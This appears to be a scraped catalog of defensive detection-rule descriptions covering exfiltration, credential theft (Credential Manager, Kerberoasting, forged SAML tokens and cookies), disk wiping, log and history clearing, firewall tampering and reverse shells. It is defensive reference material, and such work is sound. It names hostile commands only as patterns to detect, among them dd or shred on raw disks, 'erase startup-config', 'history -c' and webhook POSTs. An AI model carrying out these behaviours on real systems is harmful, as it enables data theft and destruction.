Detects access to cloud APIs or CLI tools to move or sync files from sensitive buckets to external endpoints using protocols like HTTPS or S3 APIs.
Current version: 1.0
Description:
Detects outbound traffic from hostd/vpxa or guest VM interfaces using unauthorized protocols such as FTP, HTTP POST bursts, or long-lived DNS tunnels.
Current version: 1.0
Description:
Adversary-created named mutex using system APIs (e.g., CreateMutexW) followed by conditional process termination or alternate code path indicating malware avoiding reinfection.
Current version: 1.0
Description:
File lock acquired via open() + flock() or lockf() on predictable path (e.g., /tmp/.lock123) followed by conditional early exit or divergent process behavior.
Current version: 1.0
Description:
User-mode application uses flock() or NSDistributedLock to gain exclusive access to a resource file (e.g., /tmp/guard.lock), conditional logic alters execution if already locked.
Current version: 1.0
Description:
Detection of the creation of VSCode or JetBrains CLI tunneling profiles followed by persistent remote access via IDE-integrated tunnels, potentially authenticated via GitHub or JetBrains accounts.
Current version: 1.0
Description:
Creation of VSCode tunnel configuration file combined with interactive remote session via code CLI or ssh with JetBrains gateway.
Current version: 1.0
Description:
Detection of JetBrains or VSCode tunnel profile creation followed by unusual persistent SSH or IDE-based tunnel communications to devtunnel APIs.
Current version: 1.0
Description:
Detects unauthorized access to Windows Credential Manager through anomalous process execution (vaultcmd.exe, rundll32.exe keymgr.dll), suspicious API calls (CredEnumerateA), or direct file access to Credential Locker files. Correlates process creation with subsequent file reads of .vcrd/.vpol files under user Credential Locker directories.
Current version: 1.0
Description:
Detects unauthorized use of SMTP/IMAP/POP3 by suspicious binaries (e.g., PowerShell, rundll32) to exfiltrate data or beacon via email, often bypassing proxy or content filters.
Current version: 1.0
Description:
Detects non-interactive or script-driven email transmission using tools like sendmail, mailx, or custom SMTP scripts by background processes, especially when sending attachments or large payloads.
Current version: 1.0
Description:
Detects email-sending behavior via Terminal, AppleScript, or Automator that interfaces with SMTP or IMAP, typically using curl or mail-related APIs in unsanctioned contexts.
Current version: 1.0
Description:
Detects hosts transmitting large volumes of SMTP, IMAP, or POP3 traffic to external IPs or relays that aren't associated with the enterprise mail infrastructure.
Current version: 1.0
Description:
Detection of unauthorized modification of Active Directory SID-History attributes to escalate privileges. This chain involves: (1) privileged operations or API calls to DsAddSidHistory or related AD modification functions, (2) observed attribute changes in SID-History (Event ID 5136), (3) new logon sessions where the token includes unexpected or privileged SID-History values, and (4) follow-on resource access using elevated privileges derived from SID-History injection.
Current version: 1.0
Description:
Unusual direct disk access attempts (e.g., use of \.\PhysicalDrive notation), abnormal writes to MBR/boot sectors, and installation of kernel drivers that grant raw disk access. Correlate anomalous process creation with disk modification attempts and driver loads.
Current version: 1.0
Description:
Processes invoking destructive commands (dd, shred, wipe) with raw device targets (e.g., /dev/sda, /dev/nvme0n1). Detect direct writes to disk partitions and abnormal superblock or bootloader modifications. Correlate shell execution with subsequent block device I/O.
Current version: 1.0
Description:
Abnormal invocation of diskutil, asr, or low-level APIs (IOKit) to erase/partition drives. Correlate process execution with unified log entries showing destructive disk operations.
Current version: 1.0
Description:
Execution of destructive CLI commands such as 'erase startup-config', 'erase flash:' or 'format disk' on routers/switches. Detect privilege level escalation preceding destructive commands.
Current version: 1.0
Description:
Execution of InstallUtil.exe from .NET framework directories with arguments specifying non-standard or attacker-supplied assemblies, especially when followed by suspicious child process creation or script execution. Detection also includes correlation of newly created binaries prior to InstallUtil invocation and anomalous command-line usage compared to historical baselines.
Current version: 1.0
Description:
Detects credential harvesting via userland API hooking (e.g., SetWindowsHookEx, IAT, or inline patching) by correlating memory modifications with hook installation functions and suspicious module loads in credential-sensitive processes like lsass.exe, explorer.exe, or winlogon.exe.
Current version: 1.0
Description:
Detects credential interception via malicious LD_PRELOAD-based shared libraries loaded into ssh, sudo, or scp processes. Correlates environment variable injection, unexpected library loads, and memory patching behavior.
Current version: 1.0
Description:
Detects DYLD_INSERT_LIBRARIES abuse to hook credential-sensitive applications by correlating process spawns with unauthorized library injection and monitoring changes to the __TEXT segment (code) of credential handling binaries.
Current version: 1.0
Description:
Detects adversary behavior deleting artifacts (e.g., dropped payloads, evidence files) using native or external utilities (e.g., del, erase, SDelete). Detects deletion events correlated with unusual process lineage or timing post-execution.
Current version: 1.0
Description:
Detects deletion of suspicious files (e.g., payloads, temp exes, scripts) via rm, unlink, or secure deletion tools like shred, especially when performed by unexpected users or shortly after execution.
Current version: 1.0
Description:
Detects removal of adversary artifacts via rm, unlink, or secure tools, with focus on shell sessions, temp files, and modified LaunchAgents or system directories.
Current version: 1.0
Description:
Detects manual or scripted removal of logs, artifacts, or malware droppings via rm or PowerCLI in ESXi shell. Focus on deletions from /tmp/, /var/core/, or /scratch.
Current version: 1.0
Description:
Process creation involving suspicious delays (e.g., Sleep, ping -n loops, WaitForSingleObject), followed by sensitive system access or lateral movement behaviors.
Current version: 1.0
Description:
Script-based execution of sleep loops or time delay commands (e.g., sleep, ping delay, while-loops) followed by file creation or network connections.
Current version: 1.0
Description:
Use of usleep, nanosleep, or NSTimer calls in executables or binaries with no GUI interaction, especially followed by disk/network activity.
Current version: 1.0
Description:
Detects unauthorized or anomalous use of command-line interfaces (CLI) on network devices. Focuses on remote access sessions (e.g., SSH/Telnet), privilege escalation within CLI sessions, execution of high-risk commands (e.g., config replace, terminal monitor, no logging), and configuration changes outside of approved windows.
Current version: 1.0
Description:
Processes that typically do not perform cryptographic operations loading symmetric encryption libraries (e.g., bcryptprimitives.dll, aes.dll), then initiating outbound connections with high-entropy payloads. Defender correlates process creation, DLL load, and anomalous encrypted traffic patterns.
Current version: 1.0
Description:
Unexpected processes (e.g., bash, python, custom binaries) dynamically loading libcrypto or performing AES/RC4 encryption operations, then initiating outbound sessions with abnormal byte entropy or asymmetric traffic patterns.
Current version: 1.0
Description:
Launchd jobs or user processes invoking symmetric crypto APIs from the Security framework and generating outbound connections carrying randomized payloads inconsistent with normal TLS patterns.
Current version: 1.0
Description:
ESXi daemons (hostd, vpxa) unexpectedly using symmetric encryption routines for external connections. Defender identifies logs of service traffic with encrypted payloads inconsistent with VMware management baselines.
Current version: 1.0
Description:
Flows showing encrypted payloads with high entropy not matching TLS handshake patterns, particularly when occurring on non-standard ports. Defender observes NetFlow/IPFIX byte distribution anomalies or IDS/IPS detecting symmetric encryption patterns without associated key exchange.
Current version: 1.0
Description:
Detects forged Kerberos Golden Tickets by correlating anomalous Kerberos ticket lifetimes, unexpected encryption types (e.g., RC4 in modern domains), malformed fields in logon/logoff events, and TGS requests without preceding TGT requests. Also monitors for abnormal patterns of access associated with elevated privileges across multiple systems.
Current version: 1.0
Description:
Detection of firewall tampering by monitoring processes executing netsh, PowerShell Set-NetFirewallProfile, or sc stop mpssvc. Registry modifications under HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy also indicate adversarial actions.
Current version: 1.0
Description:
Detection of iptables, nftables, or firewalld rule modifications. Correlation of sudden drops in active firewall rules with suspicious processes suggests adversarial evasion.
Current version: 1.0
Description:
Detection of PF firewall rule modifications via pfctl, socketfilterfw, or defaults write to com.apple.alf. Adversaries often disable firewall profiles entirely or whitelist malicious processes.
Current version: 1.0
Description:
Detection of firewall changes using esxcli network firewall set or vSphere API modifications. Sudden disabling of firewall rules across management interfaces is a strong adversarial signal.
Current version: 1.0
Description:
Detection of firewall ACL or rule base changes through CLI (e.g., no access-list, permit any any). Monitor configuration commits from unusual users or sessions.
Current version: 1.0
Description:
Adversary spawns command-line tools (e.g., del, cipher /w, SDelete) or scripts to recursively delete or overwrite user/system files. This may be correlated with abnormal file IO activity, registry writes, or tampering in critical system directories.
Current version: 1.0
Description:
Massive recursive deletions or overwrites via rm -rf, shred, dd, or wiper binaries. May include unlink syscalls, deletion of known config/data paths, or sequential overwrite patterns.
Current version: 1.0
Description:
Destruction via rm -rf, overwrite with dd or srm, often executed by script in /tmp or /private/tmp, may also involve file overwrite to political or decoy image data.
Current version: 1.0
Description:
Adversary deletes critical infrastructure: EC2 instances, S3 buckets, snapshots, or volumes using elevated IAM credentials. Frequently includes batch API calls with Delete* or TerminateInstances.
Current version: 1.0
Description:
Adversary destroys virtual disks (VMDK), images, or VMs by invoking vim-cmd, deleting datastore contents, or purging snapshots.
Current version: 1.0
Description:
Container process executes destructive file operations inside volume mounts or host paths. Includes rm -rf /mnt/volumes/, container breakout followed by host deletion attempts.
Current version: 1.0
Description:
Adversary gains access to cloud-hosted services such as AWS SES, SNS, or OpenAI API, enables or modifies usage policies, and initiates resource-intensive actions (e.g., mass email/SMS or LLM queries), often from unauthorized regions or under anomalous identity conditions.
Current version: 1.0
Description:
Forged SAML tokens can be observed as authentication attempts with valid signatures but missing expected preceding Kerberos or authentication events. Defenders may correlate SAML assertions with absent Event IDs 4769, 1200, or 1202, or tokens issued with abnormal lifetimes, issuers, or claims compared to baseline.
Current version: 1.0
Description:
Forged SAML tokens in IaaS environments often manifest as cross-cloud or cross-account authentication without matching STS events. Defenders may see AssumeRole or GetFederationToken API usage without a corresponding SAML assertion log from the trusted IdP.
Current version: 1.0
Description:
Forged SAML tokens may be used on Windows systems to authenticate to federated apps without normal Kerberos activity. Defenders may detect anomalous event correlation, where access to SaaS/O365 via SAML occurs without prior TGT requests or user logons.
Current version: 1.0
Description:
Forged SAML tokens can appear as SaaS logins where authentication succeeded without MFA, or where tokens contain claims inconsistent with the user profile. Look for concurrent sessions across different geographies with the same SAML assertion ID.
Current version: 1.0
Description:
Forged SAML tokens may be leveraged to access O365 apps such as Outlook or SharePoint. Defenders should monitor for token replay across multiple clients or access attempts to privileged mailboxes without prior interactive login.
Current version: 1.0
Description:
Detects data access or staging events followed by outbound data flows using unencrypted protocols (e.g., FTP, HTTP) initiated by unexpected processes or to rare destinations.
Current version: 1.0
Description:
Detects file access or compression utilities followed by outbound connections using curl, wget, ftp, or custom binaries communicating over unencrypted protocols.
Current version: 1.0
Description:
Detects abnormal outbound HTTP/FTP connections by local scripts or binaries outside of standard browser activity, following access to local documents or user data.
Current version: 1.0
Description:
Detects shell-based scripts accessing configuration files or snapshots and transmitting them over unencrypted protocols such as FTP or HTTP to non-management IPs.
Current version: 1.0
Description:
Detects use of unencrypted protocols (e.g., TFTP, FTP, HTTP) to transfer configuration files, routing tables, or logs to untrusted IP addresses, especially using administrative commands like copy run ftp:.
Current version: 1.0
Description:
Detection of raw access to physical drives, modification of boot records (MBR/VBR), and suspicious file creation or alteration within the EFI System Partition (ESP). Correlates privileged process execution with low-level disk modification and unexpected driver or firmware interactions.
Current version: 1.0
Description:
Detection of suspicious write operations to block devices, modifications of bootloader files (GRUB, initrd, vmlinuz), and unexpected changes within the EFI System Partition. Monitors privileged execution of utilities like dd, grub-install, or efibootmgr that modify boot sectors or loader entries.
Current version: 1.0
Description:
Untrusted or unusual process/script (cmd.exe, powershell.exe, w32tm.exe, net.exe, custom binaries) queries system time/timezone (e.g., w32tm /tz, net time \host, Get-TimeZone, GetTickCount API) and (optionally) is followed within a short window by time-based scheduling or conditional execution (e.g., schtasks /create, at.exe, PowerShell Start-Sleep with large values).
Current version: 1.0
Description:
A process (often spawned by a shell, interpreter, or malware implant) executes time discovery via commands (date, timedatectl, hwclock, cat /etc/timezone, /proc/uptime) or direct syscalls (time(), clock_gettime) and is (optionally) followed by scheduled task creation/modification (crontab, at) or conditional sleep logic.
Current version: 1.0
Description:
Process/script execution of systemsetup -gettimezone, date, ioreg, or API usage (timeIntervalSinceNow, gettimeofday) followed by time-based scheduling (launchd plist modification) or sleep-based execution.
Current version: 1.0
Description:
Interactive or remote shell/API invocation of esxcli system clock get or querying time parameters via hostd/vpxa shortly followed by time/ntp configuration checks or scheduled task creation, executed by non-standard accounts or outside maintenance windows.
Current version: 1.0
Description:
Non-standard or rare users/locations issue CLI commands like "show clock detail" or "show timezone"; optionally followed by configuration of time/timezone or NTP sources. AAA/TACACS+ accounting and syslog correlate execution to identity, source IP, and privilege level.
Current version: 1.0
Description:
Detection focuses on adversaries placing or modifying malicious dylibs in locations searched by legitimate applications. From the defender’s perspective, observable patterns include unexpected creation or modification of dylib files in application bundle paths, unusual module loads by processes compared to historical baselines, and execution of applications loading dylibs from suspicious directories (e.g., /tmp, user-controlled paths). Correlation across file system changes, process execution, and module loads provides high-fidelity detection.
Current version: 1.0
Description:
Unusual processes (e.g., powershell.exe, wscript.exe, mshta.exe) posting data to webhook endpoints (Discord, Slack, webhook.site) using HTTP POST/PUT requests. Defender perspective: suspicious process lineage followed by outbound HTTPS traffic to webhook domains.
Current version: 1.0
Description:
Processes such as curl, wget, or custom scripts initiating POST requests to webhook endpoints with encoded or bulk data. Defender perspective: abnormal chaining of file compression or access followed by outbound data to webhook URLs.
Current version: 1.0
Description:
Unexpected apps or scripts (osascript, curl, Automator workflows) exfiltrating data via webhooks. Defender perspective: correlation of clipboard/file read operations followed by HTTPS POST traffic to webhook services.
Current version: 1.0
Description:
VMware services or management daemons generating HTTP POST requests to webhook endpoints, chained with unusual datastore or log access. Defender perspective: exfiltration from VM logs or disk images over webhook URLs.
Current version: 1.0
Description:
Suspicious SaaS tenant activity involving webhook configurations pointing to external or untrusted domains. Defender perspective: repeated automated exports or suspicious webhook endpoint registrations.
Current version: 1.0
Description:
Unusual screensaver (.scr) executions correlated with recent registry modifications to HKCU\Control Panel\Desktop values such as SCRNSAVE.exe, ScreenSaveTimeout, and ScreenSaveActive. Detection focuses on PE image paths not consistent with known legitimate screensavers and triggered after user inactivity timeout.
Current version: 1.0
Description:
Monitor for unauthorized or unusual modifications to cloud resource hierarchies such as AWS Organizations or Azure Management Groups. Defenders may observe anomalous calls to APIs like LeaveOrganization, CreateAccount, MoveAccount, or Azure subscription transfers. Correlate account activity with administrative role assignments, tenant transfers, or new subscription creation that deviates from organizational baselines. Multi-event correlation should track role elevation followed by hierarchy modifications within a short time window.
Current version: 1.0
Description:
Automated and repetitive triggering of SMS messages through OTP/account verification fields on SaaS platforms, leveraging background messaging APIs such as Twilio, AWS SNS, or Amazon Cognito to generate traffic toward attacker-controlled numbers.
Current version: 1.0
Description:
Detects Kerberoasting attempts by monitoring for anomalous Kerberos TGS requests (Event ID 4769) with RC4 encryption (etype 0x17), accounts requesting an unusual number of service tickets in a short period, or service accounts targeted outside normal usage baselines. Also correlates suspicious process activity (e.g., Mimikatz invoking LSASS access) with Kerberos ticket anomalies.
Current version: 1.0
Description:
Detection of msiexec.exe execution where command-line arguments reference remote MSI packages, UNC paths, HTTP/HTTPS URLs, or DLLs, correlated with subsequent module loads and/or network connections to previously unseen destinations. The behavioral chain links process creation of msiexec.exe with suspicious parameters, network activity to retrieve payloads, and module loading indicative of malicious installation or DLL execution.
Current version: 1.0
Description:
Detection of USB-based remote access hardware (e.g., TinyPilot, PiKVM) attached to the host via drive or peripheral enumeration, triggering vendor identifiers or unusual EDID announcements.
Current version: 1.0
Description:
Insertion of USB-based hardware proxies (e.g., PiKVM) which register under predictable names (e.g., tinypilot) or mount under known paths (e.g., /opt/tinypilot-privileged).
Current version: 1.0
Description:
Attachment of hardware-backed USB KVM devices (e.g., TinyPilot) that enumerate new HID or serial communication interfaces with identifiable metadata.
Current version: 1.0
Description:
Monitor for excessive or anomalous MFA push notifications or token requests, especially when login attempts originate from unusual IPs or geolocations and do not correspond to legitimate user-initiated sessions.
Current version: 1.0
Description:
Detect abnormal MFA activity within cloud service provider logs, such as repeated generation of MFA challenges for the same user session or mismatched MFA device and login origin.
Current version: 1.0
Description:
Detect repeated failed login events followed by MFA challenges triggered in rapid succession, especially if originating from service accounts or anomalous IP addresses.
Current version: 1.0
Description:
Monitor PAM and syslog entries for unusual frequency of login attempts that trigger MFA prompts, particularly when MFA challenges do not match expected user behavior.
Current version: 1.0
Description:
Detect anomalous OAuth or SSO logins that repeatedly generate MFA challenges, particularly where MFA approvals are denied or timed out by the user.
Current version: 1.0
Description:
Detect user account logon attempts that trigger multiple MFA challenges through enterprise identity integrations, especially if MFA push requests are generated without successful interactive login.
Current version: 1.0
Description:
Cause→effect chain: (1) a user or service spawns a shell/PowerShell that queries local/domain password policy via commands/cmdlets (e.g., net accounts, Get-ADDefaultDomainPasswordPolicy, secedit /export); (2) optional directory/LDAP reads from DCs; (3) same principal performs adjacent Discovery or credential-related actions within a short window. Correlate sysmon process creation with PowerShell ScriptBlock and Security logs.
Current version: 1.0
Description:
Chain: (1) interactive/non-interactive chage -l, grep/cat of PAM config (e.g., /etc/pam.d/common-password, /etc/security/pwquality.conf); (2) optional reads of /etc/login.defs; (3) same user performs account enumeration or password change attempts shortly after. Use auditd execve and file read events plus shell history collection.
Current version: 1.0
Description:
Chain: (1) execution of pwpolicy or MDM/DirectoryService reads of account policies; (2) optional read of /Library/Preferences/com.apple.loginwindow or config profiles; (3) follow-on credential probing or lateral movement by same user/session. Use unified logs and process telemetry.
Current version: 1.0
Description:
Chain: (1) cloud API calls that fetch tenant/organization password policy (e.g., AWS GetAccountPasswordPolicy, GCP/OCI equivalents or IAM settings reads); (2) within a short window, the same principal creates users, rotates creds, or changes auth settings. Use cloud audit logs.
Current version: 1.0
Description:
Chain: (1) IdP policy/read operations by a principal (e.g., Microsoft Entra/Graph requests to read password or authentication policies); (2) adjacent risky changes (role assignment, app consent) by same principal. Use IdP audit logs.
Current version: 1.0
Description:
Chain: (1) SaaS admin API or PowerShell remote session reads tenant password/authentication settings (e.g., M365 Unified Audit Log ‘Cmdlet’ with Get-MsolPasswordPolicy/Get-OrganizationConfig parameters that expose password settings); (2) same session proceeds to mailbox or tenant changes.
Current version: 1.0
Description:
Chain: (1) privileged CLI sessions run read-only commands that dump AAA/password policies (e.g., show aaa, show password-policy); (2) same account changes AAA or user DB shortly after. Use network device AAA/command accounting or syslog.
Current version: 1.0
Description:
Adversary installs/uses packet-capture or raw-socket capability (WinPcap/Npcap, wpcap/packet DLLs or raw socket attach) and sets a filter. A crafted inbound packet is observed; within a short window the host process that loaded capture libraries initiates an outbound connection (e.g., reverse shell) to the packet origin.
Current version: 1.0
Description:
Process creates a raw/packet socket and attaches a (e)BPF filter (setsockopt SO_ATTACH_FILTER/ATTACH_BPF or bpf(BPF_PROG_LOAD)). Immediately after a matching inbound packet, the same process binds/connects outward to a remote host (reverse shell or beacon).
Current version: 1.0
Description:
Process opens /dev/bpf* (libpcap) or loads NetworkExtension filter, then after a crafted inbound packet the same process initiates an outbound connection to the trigger origin.
Current version: 1.0
Description:
Defenders may observe unauthorized or anomalous changes to NAT configurations, including the addition of new translation rules or modifications to existing ones. Suspicious behaviors include sudden introduction of NAT mappings bridging segmented networks, new port address translation rules that obscure true source IPs, or traffic flows inconsistent with expected network design. Multi-event correlation includes detecting configuration changes on routers/firewalls, followed by traffic traversing unexpected internal/external address pairs.
Current version: 1.0
Description:
Detects adversary behavior where the command-line arguments of a running process are overwritten in memory to spoof the process name, typically replacing it with a benign or misleading string. The detection correlates unexpected null byte sequences, discrepancies between /proc/<pid>/cmdline and process ancestry, and suspicious memory writes shortly after process start.
Current version: 1.0
Description:
Detects adversary behavior clearing command history via history -c, deletion or modification of ~/.bash_history, or manipulation of the HISTFILE environment variable post-login.
Current version: 1.0
Description:
Detects adversary clearing shell history using history -c or deleting/altering ~/.zsh_history or ~/.bash_history. Focus on sessions with missing or wiped history.
Current version: 1.0
Description:
Detects PowerShell Clear-History invocation or deletion of ConsoleHost_history.txt to erase past PowerShell session history.
Current version: 1.0
Description:
Detects modification or truncation of /var/log/shell.log used to persist ESXi shell command history. Especially suspicious shortly after login or config changes.
Current version: 1.0
Description:
Detects use of clear history or clear logging commands on network device CLI to remove past activity logs.
Current version: 1.0
Description:
Adversary registers a malicious Microsoft Exchange transport agent DLL (.NET assembly), configures it via PowerShell or Exchange Management Shell, and persists code execution by manipulating email processing logic based on rules or headers.
Current version: 1.0
Description:
Adversary installs or modifies email content filters or transport scripts (e.g., Postfix milter, Sendmail milter, Exim filters) using shell access or configuration manipulation.
Current version: 1.0
Description:
Firmware flash utility invoked with elevated privileges followed by raw access to firmware device path or changes to boot configuration.
Current version: 1.0
Description:
Direct write access to /dev/mem or /sys/firmware combined with usage of firmware flashing utilities (e.g., flashrom).
Current version: 1.0
Description:
EFI updates executed via system processes or binaries outside of expected patch windows or using unsigned firmware packages.
Current version: 1.0
Description:
Firmware image uploaded via TFTP/SCP or web interface followed by reboot or unexpected loss of connectivity.
Current version: 1.0
Description:
Script or binary performs a rapid sequence of system discovery checks (e.g., CPU count, RAM size, registry keys, running processes) indicative of VM detection
Current version: 1.0
Description:
Shell script or binary uses multiple system commands (e.g., dmidecode, lscpu, lspci) in quick succession to detect virtualization environment
Current version: 1.0
Description:
Bash, Swift, or Objective-C programs enumerate system profile, I/O registry, or inspect kernel extensions to identify VM artifacts
Current version: 1.0
Description:
Defenders should monitor for suspicious enumeration of cloud infrastructure components via APIs or CLI tools. Observable behaviors include repeated listing or description operations for compute instances, snapshots, storage buckets, and volumes. From a defender’s perspective, risky activity is often identified by new or untrusted identities making discovery calls (e.g., DescribeInstances, ListBuckets, az vm list, gcloud compute instances list), enumeration from unusual geolocations or IPs, or rapid multi-service discovery in sequence. Correlating discovery API usage with later snapshot creation or instance modification provides further context of adversary behavior.
Current version: 1.0
Description:
Defenders may observe adversary attempts to alter or replace a network device’s operating system image through anomalous CLI commands, unexpected firmware updates, integrity check failures, or mismatches in version and checksum validation. Suspicious behavior includes modification of image files on storage, OS version output inconsistent with baselines, unexpected reloads or reboots after image replacement, and changes to boot configuration that load non-standard system images.
Current version: 1.0
Description:
Forged cookies in IaaS environments may appear as authentication attempts that bypass MFA, leveraging AssumeRole or session APIs with cookies that were never legitimately issued. Defenders should correlate cloud logs for cookie-based sessions without prior valid authentication, often followed by resource access from unfamiliar IP addresses.
Current version: 1.0
Description:
Forged web cookies on Windows endpoints can be detected by monitoring unusual modifications of browser cookie stores (e.g., Chrome SQLite DB, Edge cache) by processes outside of browsers, followed by authentication events to SaaS or IaaS services. Defenders may observe processes writing directly to cookie storage paths or injecting tokens into browser sessions.
Current version: 1.0
Description:
On Linux, defenders may observe forged cookie activity as unauthorized modifications to browser cookie databases (e.g., ~/.mozilla/firefox/*/cookies.sqlite, ~/.config/chromium/Default/Cookies) or scripted injection of session tokens. Suspicious usage includes curl/wget commands embedding forged cookies in headers, correlated with abnormal session activity in SaaS or IaaS logs.
Current version: 1.0
Description:
Forged cookies on macOS may show up as abnormal access to Safari/Chrome cookie databases in ~/Library/Cookies, combined with unexpected logon sessions authenticated by those cookies. Unified Logs may show cookie injection events or abnormal access patterns to Keychain when linked to browser authentication flows.
Current version: 1.0
Description:
Forged cookies in SaaS environments manifest as valid web sessions without matching login activity, MFA enforcement bypass, or cookies reused across multiple devices/IPs. Defenders should look for cookie replay, concurrent sessions from multiple geographies, or session tokens generated by unrecognized apps.
Current version: 1.0
Description:
A trusted/signed developer utility (parent) is executed in a non-developer context and (a) spawns suspicious children (e.g., powershell.exe, cmd.exe, rundll32.exe, regsvr32.exe, wscript.exe), (b) loads unsigned/user-writable DLLs, (c) writes and then runs a new PE from user-writable paths, and/or (d) immediately makes outbound network connections.
Current version: 1.0
Description:
High-frequency, repetitive service requests (e.g., HTTP, TLS renegotiation) originating from a single or small set of source IPs targeting endpoint web services or application ports, leading to exhaustion of CPU or memory on targeted Windows services.
Current version: 1.0
Description:
Excessive inbound HTTP or TLS connections to services such as Apache or Nginx, causing worker thread exhaustion or segmentation faults.
Current version: 1.0
Description:
Flood of incoming TLS or HTTP(S) connections to macOS-hosted services (e.g., MAMP, Apache), causing high CPU usage and system unresponsiveness.
Current version: 1.0
Description:
Automated or scripted HTTP/TLS flooding from one VM or cloud instance against another service, exploiting compute-based billing or exhaustion of service infrastructure.
Current version: 1.0
Description:
Detects adversary exploitation of authentication mechanisms or credential validation processes. Defender perspective includes forged Kerberos tickets (e.g., MS14-068), abnormal LSASS memory access, replayed authentication attempts, and unexpected crashes of authentication services. Multi-event correlation ties exploitation attempts to abnormal process creation, service instability, and suspicious authentication events.
Current version: 1.0
Description:
Detects exploitation of authentication daemons or PAM modules. Defender perspective includes failed or anomalous PAM authentications, abnormal segfaults in authentication services, and exploitation attempts followed by successful unauthorized logins. Correlation identifies memory corruption, replay attempts, and privilege escalation tied to credential services.
Current version: 1.0
Description:
Detects exploitation attempts against macOS authentication frameworks such as OpenDirectory or Keychain. Defender perspective includes abnormal crashes in opendirectoryd, unauthorized Keychain API usage, and unusual sudo or login events. Correlation links unexpected process behavior with credential access anomalies.
Current version: 1.0
Description:
Detects exploitation of vulnerabilities in cloud identity providers (IdPs) such as Azure AD or Okta for credential access. Defender perspective includes anomalous token creation or renewal, authentication bypass events, and API abuse to mint unauthorized tokens. Correlation highlights exploitation attempts tied to absent or inconsistent audit logs.
Current version: 1.0
Description:
Detection of anomalous ROMMON image changes or upgrades, unexpected reboots following firmware updates, and unauthorized use of firmware upgrade commands or TFTP transfers. Correlation of config modification, privilege escalation, and boot cycle anomalies provides visibility into ROMMON tampering attempts.
Current version: 1.0
Description:
Correlated evidence of anomalous browser/network behavior (suspicious external resource fetches and script injection patterns) followed by atypical child processes, ephemeral execution contexts, memory modification or process injection, and unexpected file drops. Defender sees network requests to previously unseen/suspicious domains or resources + browser process spawning unusual children or loading unsigned modules + file writes or registry changes shortly after those requests.
Current version: 1.0
Description:
Correlated evidence of browser or webview fetches to uncommon domains or mutated JS resources (proxy/NGFW logs + Zeek/HTTP logs) followed by unexpected interpreters or script engines executing (python, ruby, sh) spawned from browser processes or user sessions, rapid on-disk staging in /tmp, and outbound connections that deviate from baseline. Defender sees: uncommon resource fetch → short-lived child process executions from user browser context → file writes in temp directories → anomalous outbound C2-like connections.
Current version: 1.0
Description:
Correlated evidence where Safari/Chrome/WebKit-based processes issue network requests for uncommon or obfuscated JS resources followed by spawning of script interpreters, launchd or ad-hoc binaries, unusual child processes, or dynamic library loads into browser processes. Defender sees: proxy/HTTP logs with suspicious resource content + unifiedlogs/ASL showing browser/plugin crashes or extension loads + process events indicating child process creation and file writes to /var/folders or /tmp shortly after the fetch.
Current version: 1.0
Description:
Post-compromise identity & session anomalies that follow a drive-by compromise: token reuse from new/unfamiliar IPs, anomalous sign-in patterns for previously inactive users, unexpected consent/grant events, or provisioning changes. Defender sees an endpoint/browser compromise (network + endpoint signals) followed by unusual IdP events: new refresh token issuance, consent/consent-grant events, odd MFA bypass patterns, or unusual OAuth client registrations.
Current version: 1.0
Description:
Adversary uses a tool like Ruler to configure a malicious Outlook folder Home Page that loads a remote or embedded HTML payload upon folder interaction. Execution chain begins with Outlook launching, a specific folder being accessed, and a suspicious child process being spawned or COM-based execution invoked.
Current version: 1.0
Description:
Malicious HTML or script is rendered as a Home Page for a specific Outlook folder. Outlook accesses that folder, loads remote content, and executes embedded JavaScript or ActiveX/COM logic resulting in unauthorized actions or local execution.
Current version: 1.0
Description:
Detection of VNC service or executable starting unexpectedly, followed by user session creation and interactive desktop activity (mouse/keyboard simulation).
Current version: 1.0
Description:
Spawning of VNC-related processes (e.g., x11vnc, vncserver) coupled with authentication logs and port listening behavior on TCP 5900.
Current version: 1.0
Description:
Detection of VNC-based remote control via screensharingd activity in Unified Logs along with concurrent remote login activity or suspicious user interaction.
Current version: 1.0
Description:
Detection of adversary enumeration of domain or local group memberships via native tools such as net.exe, PowerShell, or WMI. This activity may precede lateral movement or privilege escalation.
Current version: 1.0
Description:
Detection of group enumeration using commands like 'id', 'groups', or 'getent group', often followed by privilege escalation or SSH lateral movement.
Current version: 1.0
Description:
Group membership checks via 'dscl', 'dscacheutil', or 'id', typically executed via terminal or automation scripts.
Current version: 1.0
Description:
Detection correlates file creation or modification of .lnk (shortcut) files in autostart locations with anomalous parent-child process lineage or unsigned binaries. Defenders should watch for LNK creation/modification events outside of known software installations, patch events, or OS updates. Flag shortcut targets pointing to suspicious locations or unknown binaries, particularly those written by script interpreters or spawned from phishing delivery chains.
Current version: 1.0
Description:
Creation or modification of stored procedures invoking xp_cmdshell or CLR assemblies for command execution and persistence.
Current version: 1.0
Description:
SQL stored procedures that invoke OS-level commands via xp_cmdshell equivalent or via UDF (User-Defined Functions) mechanisms.
Current version: 1.0
Description:
Process or script enumerates network shares via CLI (net view/net share, PowerShell Get-SmbShare/WMI) or OS APIs (NetShareEnum/ srvsvc.NetShareEnumAll RPC) → bursts of outbound SMB/RPC connections (445/139, \host\IPC$ / srvsvc) to many hosts inside a short window → optional follow-on file listing or copy operations.
Current version: 1.0
Description:
CLI tools (smbclient -L, smbmap, rpcclient, nmblookup) or custom scripts enumerate SMB shares on many internal hosts → corresponding SMB connections (445/139) captured by Zeek/Netflow within a short window.
Current version: 1.0
Description:
Use of native/mac tools (sharing -l, smbutil view, mount_smbfs) or scripts to enumerate SMB shares across many hosts, followed by outbound SMB connections observed in PF/Zeek logs.
Current version: 1.0
Description:
Correlate suspicious file transfers over SMB or Admin$ shares with process creation events (e.g., cmd.exe, powershell.exe, certutil.exe) that do not align with normal administrative behavior. Detect remote file writes followed by execution of transferred binaries.
Current version: 1.0
Description:
Monitor scp, rsync, curl, sftp, or ftp processes initiating transfers to internal systems combined with file creation events in unusual directories. Correlate transfer activity with subsequent execution of those binaries.
Current version: 1.0
Description:
Detect anomalous use of scp, rsync, curl, or third-party sync apps transferring executables into user directories. Correlate new file creation with immediate execution events.
Current version: 1.0
Description:
Identify lateral transfer via datastore file uploads or internal scp/ssh sessions that result in new VMX/VMDK or script files. Correlate transfer with VM execution or datastore modification.
Current version: 1.0
Description:
Monitors sequences involving deletion/modification of logs, registry keys, scheduled tasks, or prefetch files following suspicious process activity or elevated access escalation.
Current version: 1.0
Description:
Detects deletion or overwriting of bash history, syslog, audit logs, and .ssh metadata following privilege elevation or suspicious process spawning.
Current version: 1.0
Description:
Detects clearing of unified logs, deletion of plist files tied to persistence, and manipulation of Terminal history after initial execution.
Current version: 1.0
Description:
